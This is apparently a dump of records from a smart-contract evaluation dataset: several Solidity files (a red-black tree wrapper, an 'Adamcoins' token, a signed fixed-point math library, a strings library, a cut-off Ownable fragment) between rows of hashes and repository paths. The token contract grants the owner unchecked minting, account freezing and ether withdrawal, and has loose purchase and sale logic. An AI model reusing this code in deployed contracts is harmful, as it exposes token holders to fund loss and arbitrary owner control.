using BokkyPooBahsRedBlackTreeLibrary for BokkyPooBahsRedBlackTreeLibrary.Tree;
BokkyPooBahsRedBlackTreeLibrary.Tree tree;
mapping(uint => uint) values;
event Log(string where, string action, uint key, uint parent, uint left, uint right, bool red);
constructor() public {
}
function root() public view returns (uint _key) {
_key = tree.root;
}
function first() public view returns (uint _key) {
_key = tree.first();
}
function last() public view returns (uint _key) {
_key = tree.last();
}
function next(uint key) public view returns (uint _key) {
_key = tree.next(key);
}
function prev(uint key) public view returns (uint _key) {
_key = tree.prev(key);
}
function exists(uint key) public view returns (bool _exists) {
_exists = tree.exists(key);
}
function getNode(uint _key) public view returns (uint key, uint parent, uint left, uint right, bool red, uint value) {
// if (tree.exists(_key)) {
BokkyPooBahsRedBlackTreeLibrary.Node memory node = tree.getNode(_key);
(key, parent, left, right, red) = (_key, node.parent, node.left, node.right, node.red);
value = values[_key];
// }
}
function parent(uint key) public view returns (uint _parent) {
_parent = tree.parent(key);
}
function parentNode(uint _key) public view returns (uint key, uint _parent, uint left, uint right, bool red, uint value) {
// if (tree.exists(_key)) {
BokkyPooBahsRedBlackTreeLibrary.Node memory node = tree.parentNode(_key);
(key, _parent, left, right, red) = (_key, node.parent, node.left, node.right, node.red);
value = values[_key];
// }
}
function grandparent(uint key) public view returns (uint _parent) {
_parent = tree.grandparent(key);
}
function grandparentNode(uint _key) public view returns (uint key, uint _parent, uint left, uint right, bool red, uint value) {
// if (tree.exists(_key)) {
BokkyPooBahsRedBlackTreeLibrary.Node memory node = tree.grandparentNode(_key);
(key, _parent, left, right, red) = (_key, node.parent, node.left, node.right, node.red);
value = values[_key];
// }
}
function sibling(uint key) public view returns (uint _parent) {
_parent = tree.sibling(key);
}
function siblingNode(uint _key) public view returns (uint key, uint _parent, uint left, uint right, bool red, uint value) {
// if (tree.exists(_key)) {
BokkyPooBahsRedBlackTreeLibrary.Node memory node = tree.siblingNode(_key);
(key, _parent, left, right, red) = (_key, node.parent, node.left, node.right, node.red);
value = values[_key];
// }
}
function uncle(uint key) public view returns (uint _parent) {
_parent = tree.uncle(key);
}
function uncleNode(uint _key) public view returns (uint key, uint _parent, uint left, uint right, bool red, uint value) {
// if (tree.exists(_key)) {
BokkyPooBahsRedBlackTreeLibrary.Node memory node = tree.uncleNode(_key);
(key, _parent, left, right, red) = (_key, node.parent, node.left, node.right, node.red);
value = values[_key];
// }
}
function insert(uint _key, uint _value) public {
tree.insert(_key);
values[_key] = _value;
}
function remove(uint _key) public {
tree.remove(_key);
delete values[_key];
}
}
| 12,604 | 13,512 |
f9d3df3d4ff3b394b6300a616bcb2c0fa95fd39d3cb66800aeffbcf9f02f0dcd
| 13,528 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xbf3fb33c8186091ddb5b8f86ded196679070982e.sol
| 2,675 | 10,878 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _oshiAmount, address _token, bytes _extraData) external; }
contract TokenERC20 {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// @param M Multiplier,
uint256 public M = 10**uint256(decimals);
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowed;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed _from, address indexed _to, uint256 _oshiAmount);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _approvedBy, address _spender, uint256 _oshiAmount);
// This notifies clients about the amount burnt
event Burn(address indexed _from, uint256 _oshiAmount);
constructor(uint256 initialSupply,
string tokenName,
string tokenSymbol) public {
totalSupply = initialSupply * M;
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
function _transfer(address _from, address _to, uint _oshiAmount) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_oshiAmount);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_oshiAmount);
emit Transfer(_from, _to, _oshiAmount);
}
function transfer(address _to, uint256 _oshiAmount) public {
_transfer(msg.sender, _to, _oshiAmount);
}
function transferFrom(address _from, address _to, uint256 _oshiAmount) public returns (bool success) {
require(_oshiAmount <= balanceOf[_from]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_oshiAmount);
require(_oshiAmount > 0 && _from != _to);
_transfer(_from, _to, _oshiAmount);
return true;
}
function approve(address _spender, uint _oshiAmount) public returns (bool success) {
allowed[msg.sender][_spender] = _oshiAmount;
emit Approval(msg.sender, _spender, _oshiAmount);
return true;
}
function approveAndCall(address _spender, uint256 _oshiAmount, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _oshiAmount)) {
spender.receiveApproval(msg.sender, _oshiAmount, this, _extraData);
return true;
}
}
function burn(uint256 _oshiAmount) public returns (bool success) {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_oshiAmount); // Subtract from the sender
totalSupply = totalSupply.sub(_oshiAmount); // Updates totalSupply
emit Burn(msg.sender, _oshiAmount);
return true;
}
function burnFrom(address _from, uint256 _oshiAmount) public returns (bool success) {
balanceOf[_from] = balanceOf[_from].sub(_oshiAmount); // Subtract from the targeted balance
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_oshiAmount); // Subtract from the sender's allowed
totalSupply = totalSupply.sub(_oshiAmount); // Update totalSupply
emit Burn(_from, _oshiAmount);
return true;
}
}
contract Adamcoins is owned, TokenERC20 {
using SafeMath for uint256;
uint256 public sellPrice; //Adamcoins sell price
uint256 public buyPrice; //Adamcoins buy price
bool public purchasingAllowed = true;
bool public sellingAllowed = true;
mapping (address => uint) public pendingWithdrawals;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
constructor(uint256 initialSupply,
string tokenName,
string tokenSymbol) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/// @dev Public function to determine if an address is a contract
/// @param _addr The address being queried
/// @return True if `_addr` is a contract
function isContract(address _addr) view public returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
/// @notice allows to purchase from the contract
function enablePurchasing() onlyOwner public {
require (msg.sender == owner);
purchasingAllowed = true;
}
/// @notice doesn't allow to purchase from the contract
function disablePurchasing() onlyOwner public {
require (msg.sender == owner);
purchasingAllowed = false;
}
/// @notice allows to sell to the contract
function enableSelling() onlyOwner public {
require (msg.sender == owner);
sellingAllowed = true;
}
/// @notice doesn't allow to sell to the contract
function disableSelling() onlyOwner public {
require (msg.sender == owner);
sellingAllowed = false;
}
function _transfer(address _from, address _to, uint _oshiAmount) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] = balanceOf[_from].sub(_oshiAmount); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_oshiAmount); // Add the same to the recipient
emit Transfer(_from, _to, _oshiAmount);
}
/// @notice Create `mintedOshiAmount` and send it to `target`
/// @param target Address to receive oshi
/// @param mintedOshiAmount the amount of oshi it will receive
function mintToken(address target, uint256 mintedOshiAmount) onlyOwner public returns (bool) {
balanceOf[target] = balanceOf[target].add(mintedOshiAmount);
totalSupply = totalSupply.add(mintedOshiAmount);
emit Transfer(0, address(this), mintedOshiAmount);
emit Transfer(address(this), target, mintedOshiAmount);
return true;
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Allow users to buy adamcoins for `newBuyPrice` and sell adamcoins for `newSellPrice`
/// @param newSellPrice the Price in wei that users can sell to the contract
/// @param newBuyPrice the Price in wei that users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function withdrawEther(uint256 amount) onlyOwner public {
require(msg.sender == owner);
owner.transfer(amount);
}
/// @notice This method can be used by the owner to extract sent tokens
/// or ethers to this contract.
/// @param _token The address of token contract that you want to recover
/// set to 0 address in case of ether
function claimTokens(address _token) onlyOwner public {
if (_token == 0x0) {
owner.transfer(address(this).balance);
return;
}
TokenERC20 token = TokenERC20(_token);
uint balance = token.balanceOf(address(this));
token.transfer(owner, balance);
}
/// @notice Buy tokens from contract by sending ether
function() public payable {
require(msg.value > 0);
require(purchasingAllowed);
uint tokens = (msg.value * M)/buyPrice; // calculates the amount
pendingWithdrawals[msg.sender] = pendingWithdrawals[msg.sender].add(tokens); // update the pendingWithdrawals amount for buyer
}
/// @notice Withdraw the amount of pendingWithdrawals from contract
function withdrawAdamcoins() public {
require(purchasingAllowed);
uint withdrawalAmount = pendingWithdrawals[msg.sender]; // calculates withdrawal amount
pendingWithdrawals[msg.sender] = 0;
_transfer(address(this), msg.sender, withdrawalAmount); // makes the transfers
}
/// @notice Sell Adamcoins to the contract
/// @param _adamcoinsAmountToSell amount of Adamcoins to be sold
function sell(uint256 _adamcoinsAmountToSell) public {
require(sellingAllowed);
uint256 weiAmount = _adamcoinsAmountToSell.mul(sellPrice);
require(address(this).balance >= weiAmount); // checks if the contract has enough ether to buy
uint adamcoinsAmountToSell = _adamcoinsAmountToSell * M;
_transfer(msg.sender, address(this), adamcoinsAmountToSell); // makes the transfers
msg.sender.transfer(weiAmount); // sends ether to the seller.
}
}
| 192,355 | 13,513 |
0c4009d53439cfb2ee5f39dada7b6f9fc876ec06d0a600122221ac1cd4c80d0a
| 9,850 |
.sol
|
Solidity
| false |
600641036
|
DucHUNG312/UniswapV3
|
7a5fe8f2dc7fcece04e16b8d863c9ce347fc43b0
|
lib/solmate/src/utils/SignedWadMath.sol
| 4,272 | 9,706 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
/// @notice Signed 18 decimal fixed point (wad) arithmetic library.
/// @author Modified from Remco Bloemen (https://xn--2-umb.com/22/exp-ln/index.html)
/// @dev Will not revert on overflow, only use where overflow is not possible.
function toWadUnsafe(uint256 x) pure returns (int256 r) {
/// @solidity memory-safe-assembly
assembly {
// Multiply x by 1e18.
r := mul(x, 1000000000000000000)
}
}
/// @dev Takes an integer amount of seconds and converts it to a wad amount of days.
/// @dev Will not revert on overflow, only use where overflow is not possible.
/// @dev Not meant for negative second amounts, it assumes x is positive.
function toDaysWadUnsafe(uint256 x) pure returns (int256 r) {
/// @solidity memory-safe-assembly
assembly {
// Multiply x by 1e18 and then divide it by 86400.
r := div(mul(x, 1000000000000000000), 86400)
}
}
/// @dev Takes a wad amount of days and converts it to an integer amount of seconds.
/// @dev Will not revert on overflow, only use where overflow is not possible.
/// @dev Not meant for negative day amounts, it assumes x is positive.
function fromDaysWadUnsafe(int256 x) pure returns (uint256 r) {
/// @solidity memory-safe-assembly
assembly {
// Multiply x by 86400 and then divide it by 1e18.
r := div(mul(x, 86400), 1000000000000000000)
}
}
/// @dev Will not revert on overflow, only use where overflow is not possible.
function unsafeWadMul(int256 x, int256 y) pure returns (int256 r) {
/// @solidity memory-safe-assembly
assembly {
// Multiply x by y and divide by 1e18.
r := sdiv(mul(x, y), 1000000000000000000)
}
}
/// @dev Will return 0 instead of reverting if y is zero and will
/// not revert on overflow, only use where overflow is not possible.
function unsafeWadDiv(int256 x, int256 y) pure returns (int256 r) {
/// @solidity memory-safe-assembly
assembly {
// Multiply x by 1e18 and divide it by y.
r := sdiv(mul(x, 1000000000000000000), y)
}
}
function wadMul(int256 x, int256 y) pure returns (int256 r) {
/// @solidity memory-safe-assembly
assembly {
// Store x * y in r for now.
r := mul(x, y)
// Equivalent to require(x == 0 || (x * y) / x == y)
if iszero(or(iszero(x), eq(sdiv(r, x), y))) {
revert(0, 0)
}
// Scale the result down by 1e18.
r := sdiv(r, 1000000000000000000)
}
}
function wadDiv(int256 x, int256 y) pure returns (int256 r) {
/// @solidity memory-safe-assembly
assembly {
// Store x * 1e18 in r for now.
r := mul(x, 1000000000000000000)
// Equivalent to require(y != 0 && ((x * 1e18) / 1e18 == x))
if iszero(and(iszero(iszero(y)), eq(sdiv(r, 1000000000000000000), x))) {
revert(0, 0)
}
// Divide r by y.
r := sdiv(r, y)
}
}
/// @dev Will not work with negative bases, only use when x is positive.
function wadPow(int256 x, int256 y) pure returns (int256) {
// Equivalent to x to the power of y because x ** y = (e ** ln(x)) ** y = e ** (ln(x) * y)
return wadExp((wadLn(x) * y) / 1e18); // Using ln(x) means x must be greater than 0.
}
function wadExp(int256 x) pure returns (int256 r) {
unchecked {
// When the result is < 0.5 we return zero. This happens when
// x <= floor(log(0.5e18) * 1e18) ~ -42e18
if (x <= -42139678854452767551) return 0;
// When the result is > (2**255 - 1) / 1e18 we can not represent it as an
// int. This happens when x >= floor(log((2**255 - 1) / 1e18) * 1e18) ~ 135.
if (x >= 135305999368893231589) revert("EXP_OVERFLOW");
// x is now in the range (-42, 136) * 1e18. Convert to (-42, 136) * 2**96
// for more intermediate precision and a binary basis. This base conversion
// is a multiplication by 1e18 / 2**96 = 5**18 / 2**78.
x = (x << 78) / 5**18;
// Reduce range of x to (- ln 2, ln 2) * 2**96 by factoring out powers
// of two such that exp(x) = exp(x') * 2**k, where k is an integer.
// Solving this gives k = round(x / log(2)) and x' = x - k * log(2).
int256 k = ((x << 96) / 54916777467707473351141471128 + 2**95) >> 96;
x = x - k * 54916777467707473351141471128;
// k is in the range [-61, 195].
// Evaluate using a (6, 7)-term rational approximation.
// p is made monic, we'll multiply by a scale factor later.
int256 y = x + 1346386616545796478920950773328;
y = ((y * x) >> 96) + 57155421227552351082224309758442;
int256 p = y + x - 94201549194550492254356042504812;
p = ((p * y) >> 96) + 28719021644029726153956944680412240;
p = p * x + (4385272521454847904659076985693276 << 96);
// We leave p in 2**192 basis so we don't need to scale it back up for the division.
int256 q = x - 2855989394907223263936484059900;
q = ((q * x) >> 96) + 50020603652535783019961831881945;
q = ((q * x) >> 96) - 533845033583426703283633433725380;
q = ((q * x) >> 96) + 3604857256930695427073651918091429;
q = ((q * x) >> 96) - 14423608567350463180887372962807573;
q = ((q * x) >> 96) + 26449188498355588339934803723976023;
/// @solidity memory-safe-assembly
assembly {
// Div in assembly because solidity adds a zero check despite the unchecked.
// The q polynomial won't have zeros in the domain as all its roots are complex.
// No scaling is necessary because p is already 2**96 too large.
r := sdiv(p, q)
}
// r should be in the range (0.09, 0.25) * 2**96.
// We now need to multiply r by:
// * the scale factor s = ~6.031367120.
// * the 2**k factor from the range reduction.
// * the 1e18 / 2**96 factor for base conversion.
// We do this all at once, with an intermediate result in 2**213
// basis, so the final right shift is always by a positive amount.
r = int256((uint256(r) * 3822833074963236453042738258902158003155416615667) >> uint256(195 - k));
}
}
function wadLn(int256 x) pure returns (int256 r) {
unchecked {
require(x > 0, "UNDEFINED");
// We want to convert x from 10**18 fixed point to 2**96 fixed point.
// We do this by multiplying by 2**96 / 10**18. But since
// ln(x * C) = ln(x) + ln(C), we can simply do nothing here
// and add ln(2**96 / 10**18) at the end.
/// @solidity memory-safe-assembly
assembly {
r := shl(7, lt(0xffffffffffffffffffffffffffffffff, x))
r := or(r, shl(6, lt(0xffffffffffffffff, shr(r, x))))
r := or(r, shl(5, lt(0xffffffff, shr(r, x))))
r := or(r, shl(4, lt(0xffff, shr(r, x))))
r := or(r, shl(3, lt(0xff, shr(r, x))))
r := or(r, shl(2, lt(0xf, shr(r, x))))
r := or(r, shl(1, lt(0x3, shr(r, x))))
r := or(r, lt(0x1, shr(r, x)))
}
// Reduce range of x to (1, 2) * 2**96
// ln(2^k * x) = k * ln(2) + ln(x)
int256 k = r - 96;
x <<= uint256(159 - k);
x = int256(uint256(x) >> 159);
// Evaluate using a (8, 8)-term rational approximation.
// p is made monic, we will multiply by a scale factor later.
int256 p = x + 3273285459638523848632254066296;
p = ((p * x) >> 96) + 24828157081833163892658089445524;
p = ((p * x) >> 96) + 43456485725739037958740375743393;
p = ((p * x) >> 96) - 11111509109440967052023855526967;
p = ((p * x) >> 96) - 45023709667254063763336534515857;
p = ((p * x) >> 96) - 14706773417378608786704636184526;
p = p * x - (795164235651350426258249787498 << 96);
// We leave p in 2**192 basis so we don't need to scale it back up for the division.
// q is monic by convention.
int256 q = x + 5573035233440673466300451813936;
q = ((q * x) >> 96) + 71694874799317883764090561454958;
q = ((q * x) >> 96) + 283447036172924575727196451306956;
q = ((q * x) >> 96) + 401686690394027663651624208769553;
q = ((q * x) >> 96) + 204048457590392012362485061816622;
q = ((q * x) >> 96) + 31853899698501571402653359427138;
q = ((q * x) >> 96) + 909429971244387300277376558375;
/// @solidity memory-safe-assembly
assembly {
// Div in assembly because solidity adds a zero check despite the unchecked.
// The q polynomial is known not to have zeros in the domain.
// No scaling required because p is already 2**96 too large.
r := sdiv(p, q)
}
// r is in the range (0, 0.125) * 2**96
// Finalization, we need to:
// * multiply by the scale factor s = 5.549
// * add ln(2**96 / 10**18)
// * add k * ln(2)
// * multiply by 10**18 / 2**96 = 5**18 >> 78
// mul s * 5e18 * 2**96, base is now 5**18 * 2**192
r *= 1677202110996718588342820967067443963516166;
// add ln(2) * k * 5e18 * 2**192
r += 16597577552685614221487285958193947469193820559219878177908093499208371 * k;
// add ln(2**96 / 10**18) * 5e18 * 2**192
r += 600920179829731861736702779321621459595472258049074101567377883020018308;
// base conversion: mul 2**18 / 2**192
r >>= 174;
}
}
/// @dev Will return 0 instead of reverting if y is zero.
function unsafeDiv(int256 x, int256 y) pure returns (int256 r) {
/// @solidity memory-safe-assembly
assembly {
// Divide x by y.
r := sdiv(x, y)
}
}
| 131,961 | 13,514 |
f78f0700e7ee63cfc5a606643dcee22e53a883315af2faa45e441790b19d4438
| 24,709 |
.sol
|
Solidity
| false |
93660599
|
thunder-network/thunder-network.github.io
|
3f663a89519315b4bddf1ae0ef3fe6c4323d515b
|
contracts/strings.sol
| 3,966 | 14,811 |
pragma solidity ^0.4.4;
library strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private {
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function toSlice(string self) internal returns (slice) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
function len(bytes32 self) internal returns (uint) {
uint ret;
if (self == 0)
return 0;
if (self & 0xffffffffffffffffffffffffffffffff == 0) {
ret += 16;
self = bytes32(uint(self) / 0x100000000000000000000000000000000);
}
if (self & 0xffffffffffffffff == 0) {
ret += 8;
self = bytes32(uint(self) / 0x10000000000000000);
}
if (self & 0xffffffff == 0) {
ret += 4;
self = bytes32(uint(self) / 0x100000000);
}
if (self & 0xffff == 0) {
ret += 2;
self = bytes32(uint(self) / 0x10000);
}
if (self & 0xff == 0) {
ret += 1;
}
return 32 - ret;
}
function toSliceB32(bytes32 self) internal returns (slice ret) {
// Allocate space for `self` in memory, copy it there, and point ret at it
assembly {
let ptr := mload(0x40)
mstore(0x40, add(ptr, 0x20))
mstore(ptr, self)
mstore(add(ret, 0x20), ptr)
}
ret._len = len(self);
}
function copy(slice self) internal returns (slice) {
return slice(self._len, self._ptr);
}
function toString(slice self) internal returns (string) {
var ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
function len(slice self) internal returns (uint) {
// Starting at ptr-31 means the LSB will be the byte we care about
var ptr = self._ptr - 31;
var end = ptr + self._len;
for (uint len = 0; ptr < end; len++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
return len;
}
function empty(slice self) internal returns (bool) {
return self._len == 0;
}
function compare(slice self, slice other) internal returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
var selfptr = self._ptr;
var otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant bytes and check again
uint mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
var diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
function equals(slice self, slice other) internal returns (bool) {
return compare(self, other) == 0;
}
function nextRune(slice self, slice rune) internal returns (slice) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint len;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
len = 1;
} else if(b < 0xE0) {
len = 2;
} else if(b < 0xF0) {
len = 3;
} else {
len = 4;
}
// Check for truncated codepoints
if (len > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += len;
self._len -= len;
rune._len = len;
return rune;
}
function nextRune(slice self) internal returns (slice ret) {
nextRune(self, ret);
}
function ord(slice self) internal returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint len;
uint div = 2 ** 248;
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
var b = word / div;
if (b < 0x80) {
ret = b;
len = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
len = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
len = 3;
} else {
ret = b & 0x07;
len = 4;
}
// Check for truncated codepoints
if (len > self._len) {
return 0;
}
for (uint i = 1; i < len; i++) {
div = div / 256;
b = (word / div) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
function keccak(slice self) internal returns (bytes32 ret) {
assembly {
ret := sha3(mload(add(self, 32)), mload(self))
}
}
function startsWith(slice self, slice needle) internal returns (bool) {
if (self._len < needle._len) {
return false;
}
if (self._ptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let len := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, len), sha3(needleptr, len))
}
return equal;
}
function beyond(slice self, slice needle) internal returns (slice) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let len := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, len), sha3(needleptr, len))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
function endsWith(slice self, slice needle) internal returns (bool) {
if (self._len < needle._len) {
return false;
}
var selfptr = self._ptr + self._len - needle._len;
if (selfptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let len := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, len), sha3(needleptr, len))
}
return equal;
}
function until(slice self, slice needle) internal returns (slice) {
if (self._len < needle._len) {
return self;
}
var selfptr = self._ptr + self._len - needle._len;
bool equal = true;
if (selfptr != needle._ptr) {
assembly {
let len := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, len), sha3(needleptr, len))
}
}
if (equal) {
self._len -= needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) {
uint ptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
// Optimized assembly for 68 gas per byte on short strings
assembly {
let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1))
let needledata := and(mload(needleptr), mask)
let end := add(selfptr, sub(selflen, needlelen))
ptr := selfptr
loop:
jumpi(exit, eq(and(mload(ptr), mask), needledata))
ptr := add(ptr, 1)
jumpi(loop, lt(sub(ptr, 1), end))
ptr := add(selfptr, selflen)
exit:
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := sha3(needleptr, needlelen) }
ptr = selfptr;
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := sha3(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
// Returns the memory address of the first byte after the last occurrence of
// `needle` in `self`, or the address of `self` if not found.
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) {
uint ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
// Optimized assembly for 69 gas per byte on short strings
assembly {
let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1))
let needledata := and(mload(needleptr), mask)
ptr := add(selfptr, sub(selflen, needlelen))
loop:
jumpi(ret, eq(and(mload(ptr), mask), needledata))
ptr := sub(ptr, 1)
jumpi(loop, gt(add(ptr, 1), selfptr))
ptr := selfptr
jump(exit)
ret:
ptr := add(ptr, needlelen)
exit:
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := sha3(needleptr, needlelen) }
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly { testHash := sha3(ptr, needlelen) }
if (hash == testHash)
return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
function find(slice self, slice needle) internal returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len -= ptr - self._ptr;
self._ptr = ptr;
return self;
}
function rfind(slice self, slice needle) internal returns (slice) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len = ptr - self._ptr;
return self;
}
function split(slice self, slice needle, slice token) internal returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
function split(slice self, slice needle) internal returns (slice token) {
split(self, needle, token);
}
function rsplit(slice self, slice needle, slice token) internal returns (slice) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = ptr;
token._len = self._len - (ptr - self._ptr);
if (ptr == self._ptr) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
}
return token;
}
function rsplit(slice self, slice needle) internal returns (slice token) {
rsplit(self, needle, token);
}
function count(slice self, slice needle) internal returns (uint count) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;
while (ptr <= self._ptr + self._len) {
count++;
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;
}
}
function contains(slice self, slice needle) internal returns (bool) {
return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr;
}
function concat(slice self, slice other) internal returns (string) {
var ret = new string(self._len + other._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
memcpy(retptr + self._len, other._ptr, other._len);
return ret;
}
function join(slice self, slice[] parts) internal returns (string) {
if (parts.length == 0)
return "";
uint len = self._len * (parts.length - 1);
for(uint i = 0; i < parts.length; i++)
len += parts[i]._len;
var ret = new string(len);
uint retptr;
assembly { retptr := add(ret, 32) }
for(i = 0; i < parts.length; i++) {
memcpy(retptr, parts[i]._ptr, parts[i]._len);
retptr += parts[i]._len;
if (i < parts.length - 1) {
memcpy(retptr, self._ptr, self._len);
retptr += self._len;
}
}
return ret;
}
}
| 64,472 | 13,515 |
e36f1b8270f8a48eb0fc75a9369664bd937b4b97de9a84af33d4b8af95665454
| 27,285 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x1853D8C3e9F8b36f3975757c179026a8f272D34D/contract.sol
| 3,933 | 14,804 |
pragma solidity ^0.5.0;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
